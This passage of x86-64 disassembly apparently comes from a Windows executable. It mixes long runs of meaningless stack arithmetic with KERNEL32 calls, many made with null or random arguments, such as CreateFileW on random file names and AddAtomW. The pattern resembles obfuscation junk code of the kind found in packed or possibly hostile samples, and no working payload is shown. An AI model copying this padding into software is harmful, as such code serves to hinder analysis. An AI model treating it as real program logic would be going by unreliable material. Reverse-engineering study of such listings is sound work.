add eax, ecx
mov rcx, qword [rsp + 0x14138]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0x866c]
mov dword [rsp + 0xacc4], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0xa8ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa95c], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ecf4]
sub eax, ecx
mov byte [rsp + 0x6bb], al
mov rcx, qword [rsp + 0x14ce8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xacc8], eax
mov rax, qword [rsp + 0x14a00]
movzx eax, word [rax]
mov word [rsp + 0x2f08], ax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac58], eax
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x14df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ed30], eax
mov rax, qword [rsp + 0x142d8]
mov ecx, dword [rsp + 0x89e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8d0c]
mov ecx, dword [rsp + 0xa460]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e84], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14fa0], rax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7684]
shr eax, cl
mov dword [rsp + 0x8590], eax
movzx eax, word [rsp + 0x2b4c]
mov word [rsp + 0x2f0c], ax
movzx eax, byte [rsp + 0x652]
movzx ecx, byte [rsp + 0x67f]
shl eax, cl
mov byte [rsp + 0x6e5], al
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [0x1402826c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa6bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xaccc], eax
mov rax, qword [rsp + 0x14a58]
mov ecx, dword [rsp + 0xa8b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [rsp + 0xa8a8]
add ecx, eax
mov eax, ecx
mov dword [0x140282868], eax
mov eax, dword [rsp + 0xaccc]
mov ecx, dword [rsp + 0xab14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78e0], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
and eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
movsx eax, word [0x1402826b8]
mov rcx, qword [rsp + 0x14ce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
mov word [rsp + 0x2f10], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64b], al
lea rdx, [rsp + 0xacc8]
mov rcx, qword [rsp + 0x14b88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xacc0], eax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov dword [rsp + 0xacd0], eax
mov rax, qword [rsp + 0x14300]
mov rcx, qword [rsp + 0x146c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa85c], eax
movzx eax, word [rsp + 0x2c34]
movzx ecx, word [rsp + 0x2cc0]
add eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dab], al
mov eax, dword [rsp + 0x976c]
mov dword [rsp + 0xacd4], eax
mov rax, qword [0x14028ec50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaae8]
shl eax, cl
mov dword [rsp + 0xaa7c], eax
lea rax, [rsp + 0x9e20]
mov qword [rsp + 0x14fa8], rax
mov eax, dword [rsp + 0xa160]
mov ecx, dword [rsp + 0x79a4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2e34]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c38], ax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x3bd]
sar eax, cl
mov byte [rsp + 0x713], al
mov eax, dword [rsp + 0x75e0]
mov ecx, dword [rsp + 0xa9bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147e8]
mov dword [rcx], eax
lea rcx, str.Xhjx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f14], ax
mov eax, dword [rsp + 0xab94]
mov dword [rsp + 0xacd8], eax
mov rax, qword [rsp + 0x14d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f7]
sub eax, ecx
mov byte [str.rT_fB], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b24], ax
movzx eax, word [0x14028274c]
mov word [rsp + 0x2f18], ax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0x6b2]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6938], eax
mov rax, qword [rsp + 0x14d78]
mov ecx, dword [rsp + 0xaacc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x89ec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0x8348]
mov ecx, dword [rsp + 0xaa54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8050], eax
mov eax, dword [rsp + 0xa6b4]
mov dword [rsp + 0xacdc], eax
lea rdx, [rsp + 0xa738]
mov rcx, qword [rsp + 0x14f40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa760], eax
mov rax, qword [rsp + 0x14cc8]
mov ecx, dword [rsp + 0xabcc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac48], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e3c]
add eax, ecx
mov word [rsp + 0x2b48], ax
movzx eax, byte [0x14028ed10]
movzx ecx, byte [rsp + 0x46c]
sub eax, ecx
mov byte [0x140281dbb], al
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov dword [rsp + 0xace0], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa940]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x889c], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov ecx, dword [0x1402826c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov eax, dword [rsp + 0xabac]
mov rcx, qword [rsp + 0x14238]
mov qword [rsp + 0x14fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fb0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8a80], eax
movzx eax, byte [0x140281e06]
mov rcx, qword [rsp + 0x14e28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x302], al
mov rax, qword [rsp + 0x14bf8]
movzx eax, word [rax]
mov word [rsp + 0x2f1c], ax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [rsp + 0x4aa]
and eax, ecx
mov byte [rsp + 0x714], al
movzx eax, word [rsp + 0x2c40]
mov word [rsp + 0x2f20], ax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov dword [0x14028ec10], eax
mov rax, qword [rsp + 0x14fa8]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80fc], eax
movzx eax, byte [rsp + 0x6a5]
mov rcx, qword [0x14028ed80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x296], al
movzx eax, word [rsp + 0x2e30]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e3c], ax
mov rax, qword [rsp + 0x14cc8]
mov rcx, qword [rsp + 0x142d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x97e4], eax
mov eax, dword [rsp + 0x7ed4]
mov dword [rsp + 0xace4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xace8], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab70], eax
mov eax, dword [rsp + 0xa818]
mov dword [rsp + 0xacec], eax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c1c], ax
movzx eax, byte [rsp + 0x6be]
movzx ecx, byte [rsp + 0x6ca]
add eax, ecx
mov byte [0x140281dcf], al
mov rax, qword [rsp + 0x14b30]
mov rcx, qword [0x14028ee70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa778]
mov dword [rsp + 0xacf0], eax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa448]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e78], eax
mov rax, qword [rsp + 0x14420]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x98b0], eax
mov rax, qword [rsp + 0x14a30]
mov rcx, qword [rsp + 0x14988]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa670], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xac40], eax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x14c68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x40b], al
movzx eax, word [rsp + 0x2c28]
mov word [rsp + 0x2f24], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ba]
shl eax, cl
mov byte [rsp + 0x5c7], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e60]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14028286c], ax
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov dword [rsp + 0xacf4], eax
mov rax, qword [rsp + 0x14a58]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa33c], eax
mov rax, qword [rsp + 0x14e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d3]
add eax, ecx
mov rcx, qword [rsp + 0x144d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
sub eax, ecx
mov word [rsp + 0x19e8], ax
mov rax, qword [rsp + 0x14748]
mov rcx, qword [rsp + 0x14c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7790], eax
mov eax, dword [rsp + 0xacc4]
mov dword [rsp + 0xacf8], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xacfc], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
movzx ecx, word [0x14028ec90]
add eax, ecx
mov word [0x140282870], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5d1], al
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3bc], eax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0xa940]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69a4], eax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14db8]
mov byte [rcx], al
lea rax, [0x14028ee68]
mov qword [rsp + 0x14fb8], rax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ed]
or eax, ecx
mov byte [rsp + 0x682], al
movzx eax, word [rsp + 0x2de4]
movzx ecx, word [rsp + 0x2cc8]
shl eax, cl
mov word [rsp + 0x2e80], ax
mov eax, dword [rsp + 0x6cf4]
mov dword [rsp + 0xad00], eax
mov rax, qword [rsp + 0x148f8]
mov ecx, dword [rsp + 0xa8a8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028276c], eax
mov eax, dword [rsp + 0xaa48]
mov ecx, dword [rsp + 0xa984]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab64], eax
mov eax, dword [0x140282750]
mov dword [rsp + 0xad04], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa764], eax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [rsp + 0x2c90]
add eax, ecx
mov word [rsp + 0x22a8], ax
lea rax, [rsp + 0x6ad]
mov qword [rsp + 0x14fc0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x14d88]
mov ecx, dword [rsp + 0x9cb4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ddc], eax
mov rax, qword [rsp + 0x14a18]
mov ecx, dword [0x1402827c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9794], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa03c], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa82c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
mov word [rsp + 0x2f28], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1825
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa3b0], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a1]
sub eax, ecx
mov byte [rsp + 0x685], al
movsx eax, word [rsp + 0x2cbc]
mov rcx, qword [rsp + 0x14c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ed8], ax
movzx eax, byte [rsp + 0x69a]
mov byte [rsp + 0x724], al
mov rax, qword [rsp + 0x14be0]
mov ecx, dword [rsp + 0xa3a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8a80], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8360], eax
mov rax, qword [0x14028ec78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14810]
mov byte [rcx], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dac]
sar eax, cl
mov word [rsp + 0x2de4], ax
mov eax, dword [rsp + 0xa71c]
mov dword [0x14028ec0c], eax
mov eax, dword [rsp + 0x779c]
mov dword [rsp + 0xad08], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x877c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov dword [rsp + 0xad0c], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d6], al
movzx eax, word [rsp + 0x2d58]
mov rcx, qword [rsp + 0x148a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xad10], eax
movzx ecx, word [rsp + 0x2bdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov eax, dword [rsp + 0xa75c]
mov ecx, dword [rsp + 0xa6c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x14da0]
mov ecx, dword [rsp + 0x9f0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x921c], eax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0xa6c4]
add ecx, eax
mov eax, ecx
mov dword [0x140282874], eax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [rsp + 0x9580]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x145b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b54]
movsx ecx, word [0x1402827d0]
add eax, ecx
mov word [rsp + 0x2474], ax
movzx eax, byte [rsp + 0x649]
mov byte [rsp + 0x725], al
movzx eax, byte [rsp + 0x6d4]
movzx ecx, byte [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d24]
mov word [rsp + 0x2f2c], ax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [0x1402826d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa424], eax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0x14fc8], rax
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [rsp + 0x207]
add eax, ecx
mov byte [rsp + 0x6bc], al
mov rcx, qword [rsp + 0x14af0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d34]
xor eax, ecx
mov word [0x1402827e4], ax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14a58]
mov qword [rsp + 0x14fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa6a4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.orAvkDzYKQkiTSa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14fd8], rax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7700]
sar eax, cl
mov dword [rsp + 0x9298], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa838]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa714], eax
mov eax, dword [rsp + 0xac0c]
mov dword [rsp + 0xad14], eax
mov rax, qword [0x14028ed28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fc]
and eax, ecx
mov byte [rsp + 0x69d], al
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d48], ax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xad18], eax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [rsp + 0x149a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8248], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
and eax, ecx
mov byte [0x140281e67], al
movzx ecx, word [rsp + 0x2cb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
movsx eax, word [rsp + 0x2cf8]
mov rcx, qword [0x14028ede8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aa0], ax
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e74]
sub eax, ecx
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x14148]
mov byte [rcx], al
mov rax, qword [0x14028ee60]
mov eax, dword [rax]
mov dword [rsp + 0xad1c], eax
mov eax, dword [rsp + 0x8920]
mov ecx, dword [rsp + 0xa540]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f0c], eax
mov rax, qword [rsp + 0x14cc8]
mov eax, dword [rax]
mov dword [rsp + 0xad20], eax
mov rax, qword [rsp + 0x14d90]
mov ecx, dword [rsp + 0xa38c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14de0]
mov rcx, qword [rsp + 0x142d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x659c], eax
movzx eax, word [rsp + 0x1c24]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2cc0], ax
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x46c]
xor eax, ecx
mov byte [0x140281e1b], al
mov eax, dword [rsp + 0xa4f4]
movzx ecx, al
mov eax, dword [rsp + 0x7ba4]
shr eax, cl
mov dword [rsp + 0xa998], eax
mov rax, qword [0x14028ec88]
mov eax, dword [rax]
mov dword [rsp + 0xad24], eax
mov eax, dword [rsp + 0xab10]
mov ecx, dword [rsp + 0x737c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xad28], eax
mov rax, qword [rsp + 0x14998]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov byte [rcx], al
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x145f0]
movzx eax, byte [rax]
mov byte [rsp + 0x726], al
movsx eax, word [rsp + 0x2cfc]
mov rcx, qword [0x14028ede8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f24], ax
mov eax, dword [rsp + 0xa6f4]
mov dword [0x14028ec08], eax
lea rcx, [rsp + 0x22638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14e08]
mov rcx, qword [rsp + 0x14f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8cec], eax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14808]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b88]
movzx ecx, word [rsp + 0x2eac]
add eax, ecx
mov word [rsp + 0x220c], ax
lea rax, [rsp + 0xa8a4]
mov qword [rsp + 0x14fe0], rax
mov rax, qword [0x14028ee28]
mov ecx, dword [rsp + 0xa7b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x921c], eax
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
mov dword [rsp + 0xad2c], eax
mov eax, dword [rsp + 0x7bf4]
mov ecx, dword [rsp + 0xa99c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91bc], eax
movzx eax, word [rsp + 0x2cdc]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25d8], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140281e4f], al
mov rax, qword [rsp + 0x14b10]
mov eax, dword [rax]
mov dword [rsp + 0xad30], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [0x1402827dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa698], eax
lea rcx, [rsp + 0x24590]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xab1c], eax
mov eax, dword [rsp + 0xac74]
mov rcx, qword [rsp + 0x142d8]
mov qword [rsp + 0x14fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14fe8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8578], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140282798]
sar eax, cl
mov dword [rsp + 0x7610], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
lea rcx, str.MPdJX_N_GSuKm2_kt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f30], ax
mov eax, dword [rsp + 0xab38]
mov dword [rsp + 0xad34], eax
mov rax, qword [rsp + 0x14fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ef8]
and eax, ecx
mov word [rsp + 0x2e4c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movsx eax, byte [rsp + 0x642]
movsx ecx, byte [rsp + 0x6d2]
sub eax, ecx
mov rcx, qword [rsp + 0x14678]
mov byte [rcx], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov word [rsp + 0x2f34], ax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x14bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x663]
add eax, ecx
mov byte [0x140281e72], al
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa920]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad14], eax
mov eax, dword [rsp + 0xabe4]
mov ecx, dword [rsp + 0xab30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.hfn6Did1OwGMK0M
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14ff0], rax
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e90]
add eax, ecx
mov word [rsp + 0x2d90], ax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c3]
and eax, ecx
mov byte [rsp + 0x671], al
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov dword [rsp + 0xad38], eax
mov rax, qword [rsp + 0x14d20]
mov ecx, dword [rsp + 0xa5bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa57c], eax
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x14ff8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6624
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa870], eax
mov eax, dword [rsp + 0xa4fc]
mov ecx, dword [rsp + 0x7e34]
sub ecx, eax
mov eax, ecx
